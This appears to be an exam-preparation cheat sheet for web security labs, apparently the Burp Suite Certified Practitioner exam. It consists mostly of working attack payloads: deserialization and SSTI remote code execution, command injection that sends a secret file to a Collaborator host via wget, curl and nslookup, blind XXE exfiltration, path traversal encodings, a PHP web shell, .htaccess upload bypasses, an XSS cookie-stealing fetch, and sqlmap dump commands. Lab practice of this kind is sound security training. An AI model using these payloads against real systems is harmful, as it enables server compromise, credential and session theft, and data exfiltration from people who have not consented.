--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens=java.base/java.net=ALL-UNNAMED \
--add-opens=java.base/java.util=ALL-UNNAMED \
CommonsCollections7 'nslookup $(cat /home/carlos/morale.txt).COLLAB.oastify.com'Output: Base64-encode and set as cookie
{{7*7}}
${7*7}
<%= 7*7 %>
{{ ''.__class__.__mro__[1].__subclasses__()[396]('/home/carlos/secret').read() }}<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /home/carlos/secret") }||nslookup $(cat /home/carlos/secret).COLLAB.oastify.com||<email>`0&ping $(cat /home/carlos/secret).COLLAB.oastify.com &`</email>?ImgSize="`wget --post-file /home/carlos/secret https://COLLAB.oastify.com/`"
Alternative:
?ImgSize="`curl -F file=@/home/carlos/secret https://COLLAB.oastify.com/`"
..%252f..%252f..%252fhome%252fcarlos%252fsecret
..%252f..%252f..%252fhome%252fcarlos%252f%73%65%63%72%65%74
..%252f..%252f..%252fhome%252fcarlos%252f%25%37%33%25%36%35%25%36%33%25%37%32%25%36%35%25%37%34
Context: Admin panel "Download report as PDF"
{"table-html":"<div><p>Report</p><iframe src='http://localhost:6566/home/carlos/secret'></iframe></div>"}Steps:
- Download PDF normally, intercept request
- Modify JSON body with iframe payload
- Forward request
- Open downloaded PDF
- Flag visible in PDF content
| Observation | Vulnerability | Time Estimate |
|---|---|---|
| Template editing visible | SSTI | 5-10 mins |
Image with ?ImgSize= parameter |
Command Injection | 15 mins |
Image with ?filename= (no size) |
Path Traversal | 5 mins |
| File upload functionality | XXE | 20 mins |
| PDF download feature | SSRF via PDF | 20 mins |
| Admin panel shows images | Check LFI + Command Injection | 10-15 mins |
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/home/carlos/secret').read() }}Alternative (if filtered):
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}?filename=..%252f..%252f..%252f..%252f/home/carlos/secret
?filename=..%252f..%252f..%252f..%252fhome/carlos/%73%65%63%72%65%74
?filename=..%252f..%252f..%252f..%252fhome/carlos/%25%37%33%25%36%35%25%36%33%25%37%32%25%36%35%25%37%34
?ImgSize="`wget --post-file /home/carlos/secret https://COLLAB.oastify.com/`"
Alternative:
?ImgSize="`curl -F file=@/home/carlos/secret https://COLLAB.oastify.com/`"
<email>`0&ping $(cat /home/carlos/secret).COLLAB.oastify.com &`</email><!ENTITY % file SYSTEM "file:///home/carlos/secret">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://COLLAB.oastify.com/?x=%file;'>">
%eval;
%exfil;<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://EXPLOIT-SERVER/exploit.dtd"> %xxe;]>
<users>
<user>
<username>test</username>
<email>test@test.com</email>
</user>
<user>
<username>&xxe;</username>
<email>test2@test.com</email>
</user>
</users>Steps:
- Burp → Burp menu → Burp Collaborator client
- Click "Copy to clipboard"
- Use in payloads (replace
COLLAB.oastify.com) - Click "Poll now" to check
- Look for HTTP/DNS requests with data
What to Look For:
- DNS: Subdomain contains exfiltrated data
- HTTP: Query parameter or POST body contains data
..%252f..%252f..%252fhome%252fcarlos%252fsecret
Context: Avatar/image upload with extension/content-type filtering
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" poc.png -o polyglot.phpHow it works:
- Creates valid image file with PHP code in EXIF comment
- Upload as
polyglot.php - Server executes PHP code
- Secret appears between START and END markers
exiftool -Comment="<?php system($_GET['cmd']); ?>" image.jpg -o shell.phpUsage:
/files/avatars/shell.php?cmd=cat /home/carlos/secret
Add GIF header to PHP shell:
GIF89a;
<?php echo file_get_contents('/home/carlos/secret'); ?>| Technique | Example | Notes |
|---|---|---|
| Alternative extensions | .php5, .phtml, .phar |
Try all PHP extensions |
| Case variation | .pHp, .PhP |
Bypass case-sensitive filters |
| Null byte | shell.php%00.jpg |
Works on older systems |
| Double extension | shell.php.jpg |
Some servers execute first extension |
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg
<?php echo file_get_contents('/home/carlos/secret'); ?>Context: Apache server allows .htaccess upload
Step 1: Upload malicious .htaccess file
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
# Make .htaccess file be interpreted as php file
AddType application/x-httpd-php .htaccessStep 2: Add PHP code to same .htaccess file
<Files ~ "^\.ht">
Order allow,deny
Allow from all
</Files>
AddType application/x-httpd-php .htaccess
# PHP code below
<?php echo file_get_contents('/home/carlos/secret'); ?>How it works:
- First directive allows .htaccess to be accessed via web
AddTypemakes Apache interpret .htaccess as PHP- PHP code at bottom executes when .htaccess is accessed
- Visit
/files/avatars/.htaccessto execute code
Alternative - Make images execute as PHP:
AddType application/x-httpd-php .jpg .png .gifThen upload shell.jpg with PHP code inside.
- Use exiftool for polyglot - Most reliable method
- Read file directly -
file_get_contents('/home/carlos/secret') - Try multiple extensions -
.php,.php5,.phtml - Check upload directory - Usually
/files/avatars/or/files/ - Add START/END markers - Easy to find output in response
- Find search/feedback form
- Test for DOM XSS:
<><img src=x onerror=alert(1)> - Steal cookie:
<><img src=x onerror="fetch('https://COLLAB.oastify.com?c='+document.cookie)"> - Use stolen cookie to login
- Find comment/feedback functionality
- Test stored XSS in website field:
javascript:alert(1) - Admin views comment → session stolen
- Find email change functionality
- Test CSRF bypasses (method change, remove token, Referer bypass)
- Change admin email to yours
- Reset admin password
- Login as admin
- Look for "Advanced Search" page
- Use SQLMap:
sqlmap -r request.txt --level 5 --risk 3 --batch --dump - Extract admin password
- Login as admin
- Find TrackingId cookie or search parameter
- Test:
' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)-- - Password appears in error message
- Update profile, intercept request
- Add hidden parameter:
"roleid": 2or"isAdmin": true - Brute-force roleid values with Intruder
- Find admin functionality
- Try as low-priv user with:
- POST → GET conversion
- Referer:
/admin - Skip to confirmation step (
confirmed=true)
- Decode session cookie (Base64)
- Modify:
"isAdmin":b:1or"access_token":i:0 - Re-encode and replace cookie
- Find stock check XML request
- Host external DTD on exploit server
- Use blind XXE with OOB exfiltration
- Check Burp Collaborator for secret
- Find Host header or URL parameter
- Enumerate internal IPs:
192.168.0.1-255 - Access
localhost:6566/home/carlos/secret
- Find feedback form or email field
- Test:
||nslookup $(cat /home/carlos/secret).COLLAB.oastify.com|| - Check Burp Collaborator DNS logs
- Test template expressions:
{{7*7}},${7*7} - Identify engine (Jinja2, Freemarker, etc.)
- Use engine-specific RCE payload
- Read
/home/carlos/secret
| Vulnerability | Primary Location | Secondary Location |
|---|---|---|
| XSS | Search bar, feedback form | Comments, profile |
| SQL Injection | Advanced search, TrackingId cookie | Product filter |
| CSRF | Email change | Password change |
| XXE | Stock check XML | File upload |
| SSRF | Host header, stock check | Admin panel features |
| Access Control | Admin panel | Profile update |
| SSTI | Product details | Error messages |
| Command Injection | Feedback email field | File upload |
| Path Traversal | Image parameter | File download |
Stage 1:
- Test search for DOM XSS
- Test comments for stored XSS
- Test email change for CSRF
- Check for AngularJS (
ng-app)
Stage 2:
- Look for "Advanced Search" → SQLMap
- Test TrackingId cookie for SQLi
- Inspect profile JSON for hidden parameters
- Try POST → GET on admin functions
- Decode session cookie for deserialization
Stage 3:
- Scan stock check XML for XXE
- Enumerate internal IPs for SSRF
- Test feedback email for command injection
- Test template expressions for SSTI
- Try DNS exfiltration for blind vulnerabilities